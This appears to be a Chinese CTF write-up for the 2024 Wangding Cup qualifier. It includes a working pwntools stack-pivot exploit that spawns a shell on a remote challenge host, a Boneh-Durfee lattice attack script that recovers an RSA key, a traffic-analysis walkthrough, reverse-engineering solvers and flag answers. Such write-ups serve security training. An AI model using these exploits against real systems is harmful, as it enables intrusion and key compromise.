网鼎杯2024青龙组官方资格赛wp

pwn02:

**第一步:**checksec发现32位架构,开了NX和ASLR。

在这里插入图片描述

**第二步:**login函数有个登陆,账号密码都在里面

在这里插入图片描述

**第三步:**vuln函数存在栈溢出,但是只能溢出8个字节,确定位栈迁移。

在这里插入图片描述

**第四步:**编写脚本,攻击:

from pwn import *

# context.log_level = "debug"
elf = ELF("./short")
io = process("./short")
io = remote("0192d5e6064e782f81f9a9fbc9fc041d.0ke5.dg05.ciihw.cn",45818)
# io.recvuntil(b"Enter your username: ")
io.recv()
io.sendline("admin")
# io.recvuntil(b"Enter your password: ")
io.recv()
io.sendline("admin123")

io.recvuntil(b"You will input this: ")
add = io.recv(10) 
# print(int(add,16))
addr = int(add,16)
log.success(hex(addr))

ret = 0x080483fa
system_addr = elf.plt["system"]
binsh = 0x804A038
vuln_addr = elf.symbols["vuln"]

payload = p32(ret) + p32(system_addr) + p32(ret) + p32(binsh) + p32(binsh)
payload = payload.ljust(80,b"p") 
payload = payload + p32(addr) + p32(0x08048674)

print(payload)

io.sendline(payload)

io.interactive()

在这里插入图片描述

misc03:

**第一步:**打开流量包,根据协议排序发现了两种有用的协议,一个TCP,一个HTTP,察觉可能是个网站,然后过滤HTTP:

在这里插入图片描述

**第二步:**过滤HTTP后发现了个疑似危险ip:39.144.218.183,有爆破目录的可能:

在这里插入图片描述

**第三步:**根据很多请求响应对,发现很多都是404,404的状态长度比较短,根据Length排序,从最大的和最小的开始选,找出与众不同的一批流量,发现了木马和访问木马的ip:

在这里插入图片描述

**第四步:**跟踪这个流,发现了危险的payload,确定这个就是攻击者:
在这里插入图片描述

wdflag{39.168.5.60}

crypto01:

​ 原题,直接上https://www.cnblogs.com/mumuhhh/p/17789591.html,有个脚本,改一下,具体参数之后直接sagemath跑:

import time
time.clock = time.time
 
debug = True
 
strict = False
 
helpful_only = True
dimension_min = 7 # 如果晶格达到该尺寸,则停止移除
# 显示有用矢量的统计数据
def helpful_vectors(BB, modulus):
    nothelpful = 0
    for ii in range(BB.dimensions()[0]):
        if BB[ii,ii] >= modulus:
            nothelpful += 1
            
    print (nothelpful, "/", BB.dimensions()[0], " vectors are not helpful")

# 显示带有 0 和 X 的矩阵
def matrix_overview(BB, bound):
    for ii in range(BB.dimensions()[0]):
        a = ('%02d ' % ii)
        for jj in range(BB.dimensions()[1]):
            a += '0' if BB[ii,jj] == 0 else 'X'
            if BB.dimensions()[0] < 60: 
                a += ' '
        if BB[ii, ii] >= bound:
            a += '~'
        #print (a)

# 尝试删除无用的向量
# 从当前 = n-1(最后一个向量)开始
def remove_unhelpful(BB, monomials, bound, current):
    # 我们从当前 = n-1(最后一个向量)开始
    if current == -1 or BB.dimensions()[0] <= dimension_min:
        return BB
 
    # 开始从后面检查
    for ii in range(current, -1, -1):
        #  如果它没有用
        if BB[ii, ii] >= bound:
            affected_vectors = 0
            affected_vector_index = 0
             # 让我们检查它是否影响其他向量
            for jj in range(ii + 1, BB.dimensions()[0]):
                # 如果另一个向量受到影响:
                # 我们增加计数
                if BB[jj, ii] != 0:
                    affected_vectors += 1
                    affected_vector_index = jj
 
            # 等级:0
            # 如果没有其他载体最终受到影响
            # 我们删除它
            if affected_vectors == 0:
                #print ("* removing unhelpful vector", ii)
                BB = BB.delete_columns([ii])
                BB = BB.delete_rows([ii])
                monomials.pop(ii)
                BB = remove_unhelpful(BB, monomials, bound, ii-1)
                return BB
 
           # 等级:1
            #如果只有一个受到影响,我们会检查
            # 如果它正在影响别的向量
            elif affected_vectors == 1:
                affected_deeper = True
                for kk in range(affected_vector_index + 1, BB.dimensions()[0]):
                    # 如果它影响哪怕一个向量
                    # 我们放弃这个
                    if BB[kk, affected_vector_index] != 0:
                        affected_deeper = False
                # 如果没有其他向量受到影响,则将其删除,并且
                # 这个有用的向量不够有用
                #与我们无用的相比
                if affected_deeper and abs(bound - BB[affected_vector_index, affected_vector_index]) < abs(bound - BB[ii, ii]):
                    #print ("* removing unhelpful vectors", ii, "and", affected_vector_index)
                    BB = BB.delete_columns([affected_vector_index, ii])
                    BB = BB.delete_rows([affected_vector_index, ii])
                    monomials.pop(affected_vector_index)
                    monomials.pop(ii)
                    BB = remove_unhelpful(BB, monomials, bound, ii-1)
                    return BB
    # nothing happened
    return BB
 
""" 
Returns:
* 0,0   if it fails
* -1,-1 如果 "strict=true",并且行列式不受约束
* x0,y0 the solutions of `pol`
"""
def boneh_durfee(pol, modulus, mm, tt, XX, YY):
    """
    Boneh and Durfee revisited by Herrmann and May
 
 在以下情况下找到解决方案:
* d < N^delta
* |x|< e^delta
* |y|< e^0.5
每当 delta < 1 - sqrt(2)/2 ~ 0.292
    """
 
    # substitution (Herrman and May)
    PR.<u, x, y> = PolynomialRing(ZZ)   #多项式环
    Q = PR.quotient(x*y + 1 - u)        #  u = xy + 1
    polZ = Q(pol).lift()
 
    UU = XX*YY + 1
 
    # x-移位
    gg = []
    for kk in range(mm + 1):
        for ii in range(mm - kk + 1):
            xshift = x^ii * modulus^(mm - kk) * polZ(u, x, y)^kk
            gg.append(xshift)
    gg.sort()
 
    # 单项式 x 移位列表
    monomials = []
    for polynomial in gg:
        for monomial in polynomial.monomials(): #对于多项式中的单项式。单项式():
            if monomial not in monomials:  # 如果单项不在单项中
                monomials.append(monomial)
    monomials.sort()
 
    # y-移位
    for jj in range(1, tt + 1):
        for kk in range(floor(mm/tt) * jj, mm + 1):
            yshift = y^jj * polZ(u, x, y)^kk * modulus^(mm - kk)
            yshift = Q(yshift).lift()
            gg.append(yshift) # substitution
 
    # 单项式 y 移位列表
    for jj in range(1, tt + 1):
        for kk in range(floor(mm/tt) * jj, mm + 1):
            monomials.append(u^kk * y^jj)
 
    # 构造格 B
    nn = len(monomials)
    BB = Matrix(ZZ, nn)
    for ii in range(nn):
        BB[ii, 0] = gg[ii](0, 0, 0)
        for jj in range(1, ii + 1):
            if monomials[jj] in gg[ii].monomials():
                BB[ii, jj] = gg[ii].monomial_coefficient(monomials[jj]) * monomials[jj](UU,XX,YY)
 
    #约化格的原型
    if helpful_only:
        #  #自动删除
        BB = remove_unhelpful(BB, monomials, modulus^mm, nn-1)
        # 重置维度
        nn = BB.dimensions()[0]
        if nn == 0:
            print ("failure")
            return 0,0
 
    # 检查向量是否有帮助
    if debug:
        helpful_vectors(BB, modulus^mm)
 
    # 检查行列式是否正确界定
    det = BB.det()
    bound = modulus^(mm*nn)
    if det >= bound:
        print ("We do not have det < bound. Solutions might not be found.")
        print ("Try with highers m and t.")
        if debug:
            diff = (log(det) - log(bound)) / log(2)
            print ("size det(L) - size e^(m*n) = ", floor(diff))
        if strict:
            return -1, -1
    else:
        print ("det(L) < e^(m*n) (good! If a solution exists < N^delta, it will be found)")
 
    # display the lattice basis
    if debug:
        matrix_overview(BB, modulus^mm)
 
    # LLL
    if debug:
        print ("optimizing basis of the lattice via LLL, this can take a long time")
 
    #BB = BB.BKZ(block_size=25)
    BB = BB.LLL()
 
    if debug:
        print ("LLL is done!")
 
    # 替换向量 i 和 j ->多项式 1 和 2
    if debug:
        print ("在格中寻找线性无关向量")
    found_polynomials = False
 
    for pol1_idx in range(nn - 1):
        for pol2_idx in range(pol1_idx + 1, nn):
 
            # 对于i and j, 构造两个多项式
 
            PR.<w,z> = PolynomialRing(ZZ)
            pol1 = pol2 = 0
            for jj in range(nn):
                pol1 += monomials[jj](w*z+1,w,z) * BB[pol1_idx, jj] / monomials[jj](UU,XX,YY)
                pol2 += monomials[jj](w*z+1,w,z) * BB[pol2_idx, jj] / monomials[jj](UU,XX,YY)
 
            # 结果
            PR.<q> = PolynomialRing(ZZ)
            rr = pol1.resultant(pol2)
 
 
            if rr.is_zero() or rr.monomials() == [1]:
                continue
            else:
                print ("found them, using vectors", pol1_idx, "and", pol2_idx)
                found_polynomials = True
                break
        if found_polynomials:
            break
 
    if not found_polynomials:
        print ("no independant vectors could be found. This should very rarely happen...")
        return 0, 0
 
    rr = rr(q, q)
 
    # solutions
    soly = rr.roots()
 
    if len(soly) == 0:
        print ("Your prediction (delta) is too small")
        return 0, 0
 
    soly = soly[0][0]
    ss = pol1(q, soly)
    solx = ss.roots()[0][0]
    return solx, soly
 
def example():
    ##################################################################
    # 随机生成数据
    ###############################################################
    #start_time =time.perf_counter
    start =time.clock()
    size=512
    length_N = 2*size;
    ss=0
    s=70;
    M=1   # the number of experiments
    delta = 299/1024
    # p =  random_prime(2^512,2^511)
    for i in range(M):
#         p =  random_prime(2^size,None,2^(size-1))
#         q =  random_prime(2^size,None,2^(size-1))
#         if(p<q):
#             temp=p
#             p=q
#             q=temp
        #N = 69207225407236621802315929835231678761546030648552499878532449478584182354765750349071726491300234635799981022731725455349420914234822062855723904939138000102040435210706843712478106458961468791872716857992483073814316706027260218386995042614451566024972455009936823034721213885693157803402838690192435869721
        N = 95987463597889741532025162535631829592517704738860431905943824498597890101136796870879646153634795544527837591685182170270252555997933421564167468816667980089869165228796395618775798781717091178143300536302805947806332962230499807469654672313206953750808878098101882367253566423367338396717229488061237787619
        e = 12761568528114005244342182138319275328501544878744699681091257281459893043102455333575012392492554249378138377894473691530001400901111860569849400611145049669197371290112261284014768486937294128410391332641648640840309135718123516725634190495261570498188176102281061084366456374907755950527213961595506707585
        c = 35154471719082941146017277238175991504655570882040897713927696748547265178059291385527810510087300325678561502592029686486144851647754163110759942860051150957340793828236482243293747881251009434747066136505663782280758979333019882382608002308773317613847702048959887017010151916544703971113441862351668075919
        hint1 = 1175980694459189065778
        hint2 = 632846170973644915854
#         print ("p真实高",s,"比特:", int(p/2^(512-s)))
#         print ("q真实高",s,"比特:", int(q/2^(512-s)))
 
#         N = p*q;
 
 
    # 解密指数d的指数( 最大0.292)
 
 
 
        m = 7   # 格大小(越大越好/越慢)
        t = round(((1-2*delta) * m))  # 来自 Herrmann 和 May 的优化
        X = floor(N^delta)  # 
        Y = floor(N^(1/2)/2^s)    # 如果 p、 q 大小相同,则正确
        for l in range(int(hint1),int(hint1)+1):
            print('\n\n\n l=',l)
            pM=l;
            p0=pM*2^(size-s)+2^(size-s)-1;
            q0=N/p0;
            qM=int(q0/2^(size-s))
            A = N + 1-pM*2^(size-s)-qM*2^(size-s);
        #A = N+1
            P.<x,y> = PolynomialRing(ZZ)
            pol = 1 + x * (A + y)  #构建的方程
 
            # Checking bounds
            #if debug:
                #print ("=== 核对数据 ===")
                #print ("* delta:", delta)
                #print ("* delta < 0.292", delta < 0.292)
                #print ("* size of e:", ceil(log(e)/log(2)))  # e的bit数
                # print ("* size of N:", len(bin(N)))          # N的bit数
                #print ("* size of N:", ceil(log(N)/log(2)))  # N的bit数
                #print ("* m:", m, ", t:", t)
 
            # boneh_durfee
            if debug:
                ###print ("=== running algorithm ===")
                start_time = time.time()
 
 
            solx, soly = boneh_durfee(pol, e, m, t, X, Y)
 
 
            if solx > 0:
                #print ("=== solution found ===")
                if False:
                    print ("x:", solx)
                    print ("y:", soly)
 
                d_sol = int(pol(solx, soly) / e)
                ss=ss+1

                print ("=== solution found ===")
                print ("p的高比特为:",l)
                print ("q的高比特为:",qM)
                print ("d=",d_sol) 
 
            if debug:
                print("=== %s seconds ===" % (time.time() - start_time))
            #break
        print("ss=",ss)
                            #end=time.process_time
        end=time.clock()
        print('Running time: %s Seconds'%(end-start))
if __name__ == "__main__":
    example()  

​ 得到了d,然后解密:

from Crypto.Util.number import *

n = 95987463597889741532025162535631829592517704738860431905943824498597890101136796870879646153634795544527837591685182170270252555997933421564167468816667980089869165228796395618775798781717091178143300536302805947806332962230499807469654672313206953750808878098101882367253566423367338396717229488061237787619
e = 12761568528114005244342182138319275328501544878744699681091257281459893043102455333575012392492554249378138377894473691530001400901111860569849400611145049669197371290112261284014768486937294128410391332641648640840309135718123516725634190495261570498188176102281061084366456374907755950527213961595506707585
c = 35154471719082941146017277238175991504655570882040897713927696748547265178059291385527810510087300325678561502592029686486144851647754163110759942860051150957340793828236482243293747881251009434747066136505663782280758979333019882382608002308773317613847702048959887017010151916544703971113441862351668075919
d = 994872951830622609173239108988480436496396666299008546372509127121113351371824434704770953

m = pow(c,d,n)
print(long_to_bytes(m).decode())

#wdflag{a14a7fa0-4e7b-4624-ad0c-36c31dd8012e}

crypto02:

reverse02:

​ flag有四个部分,每个部分都有一个加密。

​ 首先第一部分:

  printf("Enter the flag:");
  if ( fgets(s, 41, stdin) )
    s[strcspn(s, "\n")] = 0;
  if ( strlen(s) != 40 || strncmp(s, "wdflag{", 7uLL) || v19[32] != 125 )
    return 1;

​ 输入flag,然后技能高兴对比,进行比较, 首先是长度,之后就是flag的为 wdflag{XXXXXX}格式。

​ 第二部分:

memcpy(dest, v19, 0x20uLL);
  v17[8] = 0;
  s2[0] = 98;
  s2[1] = -54;
  s2[2] = -56;
  s2[3] = 108;
  s2[4] = 106;
  s2[5] = 104;
  s2[6] = -54;
  s2[7] = -56;
  for ( i = 0; i <= 7; ++i )
    s1[i] = 2 * dest[i];
  if ( memcmp(s1, s2, 8uLL) )
    return 1;
	看起来是一个乘积,解密得到第一部分:
# v11 = [0x6a,0xe,0x17,0x46,0x75,0xb,0x41,0x6]
v11 = [98,202,200,108,106,104,202,200]
a = ""
for i in range(0,len(v11)):
    a += chr(int(v11[i]/2))

print(a)

#1ed654ed

​ 第三段,就是个异或:

v21 = "XorrLord";
  v11[0] = 0x6A;
  v11[1] = 0xE;
  v11[2] = 0x17;
  v11[3] = 0x46;
  v11[4] = 0x75;
  v11[5] = 0xB;
  v11[6] = 0x41;
  v11[7] = 6;
  for ( j = 8; j <= 15; ++j )
    v12[j - 8] = dest[j] ^ v21[j - 8];
  if ( memcmp(v12, v11, 8uLL) )
    return 1;
  base64_encode(&v16, 8LL, v10);
  v20 = "Ajc2AYK2Bjg";
  if ( strcmp(v10, "Ajc2AYK2Bjg") )
    return 1;

​ 输入的数据需要和XorrLord进行异或操作,之后和Ajc2AYKBjg进行比较,脚本:

v11 = [0x6a,0xe,0x17,0x46,0x75,0xb,0x41,0x6]
a = "XorrLord"
b = ""
lst = []
for i in a:
    lst.append(ord(i))
for i in range(0,len(a)):
    lst[i] = chr(v11[i] ^ ord(a[i]))

print(b.join(lst))


#2ae49d3b

​ 最后一个部分就是AES加密:

  qmemcpy(v9, "AesMasterAesMast", sizeof(v9));
  v8[0] = 0LL;
  v8[1] = 0LL;
  memcpy(v8, v17, 8uLL);
  for ( k = 8; k <= 15; ++k )
    *((_BYTE *)v8 + k) = 8;
  AES_set_encrypt_key(v9, 128LL, v6);
  AES_encrypt(v8, v7, v6);
  hex_to_string(v7, 16LL, v5);
  v4[0] = -43;
  v4[1] = -28;
  v4[2] = -19;
  v4[3] = 116;
  v4[4] = -78;
  v4[5] = -126;
  v4[6] = -127;
  v4[7] = 35;
  v4[8] = 79;
  v4[9] = -121;
  v4[10] = -24;
  v4[11] = 58;
  v4[12] = 31;
  v4[13] = -71;
  v4[14] = -51;
  v4[15] = 121;
  if ( memcmp(v7, v4, 0x10uLL) )
    return 1;

​ 将数据提取出来之后一把梭了:

在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值